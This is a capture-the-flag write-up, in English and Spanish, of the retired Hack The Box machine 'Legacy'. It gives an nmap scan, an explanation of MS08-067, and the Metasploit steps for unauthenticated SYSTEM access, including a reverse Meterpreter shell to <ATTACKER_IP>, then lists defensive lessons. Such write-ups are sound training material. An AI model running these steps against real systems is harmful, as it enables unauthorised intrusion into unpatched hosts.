Legacy
Executive summary — Legacy is the textbook Easy Windows box built entirely around MS08-067: a bare-bones Windows XP host with SMB exposed on the network and never patched, vulnerable to CVE-2008-4250 (a path-canonicalization overflow in the Server service). One Metasploit module gives code execution as
SYSTEMwith zero authentication and zero privilege-escalation phase — the exploit itself already runs at the highest privilege level. One hop: SMB → SYSTEM.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.227.181 |
Attack map
[135/139/445] TCP recon → Windows XP fingerprint
│
[445] SMB · microsoft-ds · message signing disabled
│ MS08-067 / CVE-2008-4250 — NetAPI path-canonicalization overflow (unauth RCE)
▼
[SYSTEM] NT AUTHORITY\SYSTEM (direct — no privesc needed)
│
▼
[LOOT] user.txt (john) + root.txt (Administrator) — same shell, one shot
1. Reconnaissance
A full-port scan is the right call on a box this old: on legacy Windows the interesting service is rarely on a "well-known" port list, and the top-1000 default nmap scan can miss things. Scanning all 65535 TCP ports with service/version detection and the default NSE scripts costs a couple of extra minutes and removes any doubt.
nmap -p- -sC -sV 10.129.227.181
-p- | scan all 65535 TCP ports, not just the top 1000 |
-sC | run nmap's default NSE script set (banner grabs, basic enumeration) |
-sV | fingerprint the exact service/version behind each open port |
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds Windows XP
(message signing disabled)
Analysis: three ports, all classic Windows file-sharing/RPC —
135(MSRPC endpoint mapper),139(NetBIOS session service) and445(SMB over TCP, no NetBIOS wrapper needed). Nmap fingerprints the OS behind the stack as Windows XP, and SMB message signing is disabled — a configuration nobody has touched since the box was built. XP + unsigned SMB + no service pack info visible is about as loud a signal as it gets: this is a MS08-067 candidate (and, depending on the exact service pack, possibly MS17-010 too). No web ports, no other services to distract with — SMB is the entire attack surface.
Resumen ejecutivo — Legacy es la máquina Windows Easy de libro construida enteramente alrededor de MS08-067: un Windows XP pelado con SMB expuesto en red y jamás parcheado, vulnerable a CVE-2008-4250 (un desbordamiento por canonicalización de rutas en el servicio Server). Un único módulo de Metasploit da ejecución de código como
SYSTEMsin autenticación y sin fase de escalada de privilegios — el propio exploit ya se ejecuta con el nivel de privilegio más alto. Un solo salto: SMB → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.227.181 |
Mapa del ataque
[135/139/445] Recon TCP → huella de Windows XP
│
[445] SMB · microsoft-ds · message signing desactivado
│ MS08-067 / CVE-2008-4250 — desbordamiento en canonicalización de rutas (RCE sin auth)
▼
[SYSTEM] NT AUTHORITY\SYSTEM (directo — sin necesidad de privesc)
│
▼
[LOOT] user.txt (john) + root.txt (Administrator) — misma shell, un solo golpe
1. Reconocimiento
En una máquina tan antigua, escanear todos los puertos es la jugada correcta: en Windows legacy el servicio interesante rara vez está en la lista de puertos "conocidos", y el escaneo por defecto de nmap (top-1000) puede pasarlo por alto. Escanear los 65535 puertos TCP con detección de servicio/versión y el set de scripts NSE por defecto cuesta un par de minutos extra y elimina cualquier duda.
nmap -p- -sC -sV 10.129.227.181
-p- | escanea los 65535 puertos TCP, no solo el top 1000 |
-sC | ejecuta el set de scripts NSE por defecto de nmap (banners, enumeración básica) |
-sV | identifica el servicio/versión exacto detrás de cada puerto abierto |
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds Windows XP
(message signing disabled)
Análisis: tres puertos, todos del clásico stack de compartición de archivos/RPC de Windows —
135(endpoint mapper de MSRPC),139(servicio de sesión NetBIOS) y445(SMB sobre TCP, sin necesidad de envoltorio NetBIOS). Nmap identifica el sistema como Windows XP, y el message signing de SMB está desactivado — una configuración que nadie ha tocado desde que se montó la máquina. XP + SMB sin firmar + sin service pack visible es prácticamente la señal más clara posible: candidato directo a MS08-067 (y, según el service pack exacto, también a MS17-010). Sin puertos web, sin otros servicios que distraigan — SMB es toda la superficie de ataque.
2. Exploitation — MS08-067
What CVE-2008-4250 actually is: the Windows Server service exposes an RPC interface (srvsvc) over the SMB named-pipe transport, used for things like share enumeration and path handling. One of its internal routines canonicalizes filesystem paths — collapsing sequences like ..\ — and does so with a broken length check. A specially crafted RPC request (for example through the legacy NetPathCanonicalize/NetAPI32 call chain) overflows a stack buffer before any authentication happens, letting an attacker hijack execution inside the SMB service process — which runs as SYSTEM. Microsoft rated it critical, CVSS 10.0, and pushed the fix as an out-of-band patch in October 2008 because it was actively being weaponized — it went on to become the primary spreading vector of the Conficker worm, which infected millions of machines that skipped that single update.
Metasploit ships a mature, self-contained module for it, so there's no need to hand-roll the RPC packet:
msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.129.227.181
set LHOST <ATTACKER_IP>
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
RHOSTS | target IP — where the vulnerable SMB service is listening |
LHOST / LPORT | attacker IP/port the reverse Meterpreter shell will call back to |
payload | windows/meterpreter/reverse_tcp, in its 32-bit build — Windows XP is x86, so a 64-bit stager would simply never execute |
[*] Meterpreter session 1 opened
getuid
Server username: NT AUTHORITY\SYSTEM
SYSTEM on the first shot, no escalation phase: the vulnerable code path runs inside a system service, so the memory corruption executes with that service's own privileges. There is no local user to pivot from and no token to steal — the exploit itself hands over the crown jewels.
3. Verifying the foothold
Before touching the filesystem it's worth confirming exactly what was landed on, mostly to rule out a fluke session or a mismatched payload architecture:
sysinfo
This reports the target's OS build, architecture and computer name straight from the Meterpreter session — a quick sanity check that the session is stable and really is the Windows XP host from the scan, before relying on it to read both flags.
4. Filesystem enumeration and flags
Windows XP predates the modern C:\Users layout entirely — user profiles live under C:\Documents and Settings\, and that path contains a literal space, so every reference to it needs to be quoted or the shell will split it into two arguments.
ls C:\\
Documents and Settings
WINDOWS
Program Files
That confirms the expected legacy layout. From there, listing the profiles directory shows which local users exist and where each one's desktop — and flag — sits:
ls "C:\Documents and Settings\"
ls "C:\Documents and Settings\john\Desktop\"
cat "C:\Documents and Settings\john\Desktop\user.txt"
ls "C:\Documents and Settings\Administrator\Desktop\"
cat "C:\Documents and Settings\Administrator\Desktop\root.txt"
Both flags come out of the exact same SYSTEM session — there's no separate low-privilege step to go through first, since MS08-067 already dropped us at the top.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold + Privilege | SMB / Server service (Windows XP) | MS08-067 / CVE-2008-4250 — NetAPI path-canonicalization stack overflow | Unauthenticated remote code execution as SYSTEM (CVSS 10.0) |
Lessons learned
- Windows XP reachable over the network is a guaranteed compromise. It's been end-of-life since 2014 — no more security patches, ever, for any newly-found flaw.
- An unpatched MS08-067 is trivial, wormable RCE. The fix has existed since October 2008; this is precisely the hole Conficker crawled through to infect millions of hosts.
- Bugs in system-level services skip the escalation phase entirely. When the vulnerable code already runs as
SYSTEM, there's no privilege boundary left to break. - SMB message signing exists for a reason. Leaving it disabled doesn't cause MS08-067 by itself, but it's one more sign of a host nobody has hardened since day one.
- Full-port scans matter on old infrastructure. Never assume the interesting service sits inside nmap's default top-1000.
- Segment and retire the obsolete. One forgotten legacy host with SMB open to the world is enough to compromise an entire flat network.
2. Explotación — MS08-067
Qué es realmente CVE-2008-4250: el servicio Server de Windows expone una interfaz RPC (srvsvc) sobre el transporte de named pipes de SMB, usada para cosas como enumerar recursos compartidos y manejar rutas. Una de sus rutinas internas canonicaliza rutas de sistema de archivos — colapsando secuencias como ..\ — y lo hace con una comprobación de longitud rota. Una petición RPC especialmente manipulada (por ejemplo a través de la cadena de llamadas heredada NetPathCanonicalize/NetAPI32) desborda un buffer en la pila antes de que ocurra cualquier autenticación, permitiendo al atacante secuestrar la ejecución dentro del proceso del servicio SMB — que corre como SYSTEM. Microsoft lo calificó como crítico, CVSS 10.0, y publicó el parche fuera de ciclo en octubre de 2008 porque ya se estaba explotando activamente — acabó siendo el vector principal de propagación del gusano Conficker, que infectó millones de máquinas que se saltaron esa única actualización.
Metasploit trae un módulo maduro y autocontenido, así que no hace falta construir el paquete RPC a mano:
msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.129.227.181
set LHOST <ATTACKER_IP>
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
RHOSTS | IP objetivo — donde escucha el servicio SMB vulnerable |
LHOST / LPORT | IP/puerto del atacante al que la shell Meterpreter inversa hará callback |
payload | windows/meterpreter/reverse_tcp, en su build de 32 bits — Windows XP es x86, así que un stager de 64 bits simplemente nunca se ejecutaría |
[*] Meterpreter session 1 opened
getuid
Server username: NT AUTHORITY\SYSTEM
SYSTEM al primer intento, sin fase de escalada: el código vulnerable corre dentro de un servicio del sistema, así que la corrupción de memoria se ejecuta con los privilegios de ese propio servicio. No hay ningún usuario local desde el que pivotar ni ningún token que robar — el propio exploit entrega las joyas de la corona directamente.
3. Verificando el acceso
Antes de tocar el sistema de archivos conviene confirmar exactamente dónde se ha aterrizado, sobre todo para descartar una sesión errática o un payload con la arquitectura equivocada:
sysinfo
Esto reporta el build del sistema operativo, la arquitectura y el nombre del equipo directamente desde la sesión de Meterpreter — una comprobación rápida de que la sesión es estable y que realmente es el host Windows XP del escaneo, antes de apoyarse en ella para leer las dos flags.
4. Enumeración del sistema de archivos y flags
Windows XP es anterior a la estructura moderna C:\Users por completo — los perfiles de usuario viven bajo C:\Documents and Settings\, y esa ruta contiene un espacio literal, así que cualquier referencia a ella necesita ir entrecomillada o la shell la partirá en dos argumentos.
ls C:\\
Documents and Settings
WINDOWS
Program Files
Esto confirma la estructura legacy esperada. A partir de ahí, listar el directorio de perfiles muestra qué usuarios locales existen y dónde está el escritorio — y la flag — de cada uno:
ls "C:\Documents and Settings\"
ls "C:\Documents and Settings\john\Desktop\"
cat "C:\Documents and Settings\john\Desktop\user.txt"
ls "C:\Documents and Settings\Administrator\Desktop\"
cat "C:\Documents and Settings\Administrator\Desktop\root.txt"
Ambas flags salen de exactamente la misma sesión SYSTEM — no hay ningún paso intermedio de bajo privilegio por el que pasar primero, ya que MS08-067 nos dejó directamente en lo más alto.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold + Privilegio | SMB / servicio Server (Windows XP) | MS08-067 / CVE-2008-4250 — desbordamiento en pila por canonicalización de rutas de NetAPI | Ejecución remota de código no autenticada como SYSTEM (CVSS 10.0) |
Lecciones aprendidas
- Un Windows XP accesible en red es compromiso garantizado. Lleva desde 2014 sin soporte — ningún parche de seguridad más, nunca, para ningún fallo nuevo que se descubra.
- Un MS08-067 sin parchear es RCE trivial y "gusaneable". El parche existe desde octubre de 2008; es exactamente el agujero por el que se coló Conficker para infectar millones de equipos.
- Los fallos en servicios de nivel de sistema se saltan la fase de escalada por completo. Cuando el código vulnerable ya corre como
SYSTEM, no queda ninguna frontera de privilegio que romper. - El message signing de SMB existe por algo. Tenerlo desactivado no causa MS08-067 por sí solo, pero es una señal más de un host que nadie ha endurecido desde el primer día.
- Los escaneos de todos los puertos importan en infraestructura antigua. Nunca asumas que el servicio interesante está dentro del top-1000 por defecto de nmap.
- Segmenta y retira lo obsoleto. Un solo host legacy olvidado con SMB abierto al mundo basta para comprometer toda una red plana.